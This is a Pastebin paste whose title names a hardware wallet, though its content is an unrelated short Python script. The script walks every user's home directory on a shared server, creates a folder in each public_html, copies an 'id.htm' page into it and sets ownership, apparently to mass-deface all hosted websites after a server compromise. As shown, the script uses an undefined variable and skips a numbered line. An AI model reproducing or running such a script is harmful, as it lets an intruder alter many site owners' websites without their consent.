Ledger Nano X - The secure hardware wallet


a guest Mar 30th, 2020 91 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #./Xi4u7
  2. import os
  3. from shutil import copyfile
  5. for path in os.listdir("/home"):
  6.     try:
  7.         if os.path.isdir("/home/"+path):
  8.             pwd = "/home/"+path+"/public_html"
  9.             os.mkdir(pwd+"/"+newfolder)
  10.             newpwd = pwd+"/"+newfolder
  11.             os.system("chown "+path+":"+path+" "+newpwd)
  12.             if os.path.isdir(newpwd):
  13.                 copyfile("id.htm", newpwd+"/id.htm")
  14.                 os.system("chown "+path+":"+path+" "+newpwd+"/id.htm")
  15.                 if os.path.isfile(newpwd+"/id.htm"):
  16.                     print("Sukses - "+newpwd+"/id.htm")
  17.     except Exception as err:
  18.         print(err)
  19.         continue
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand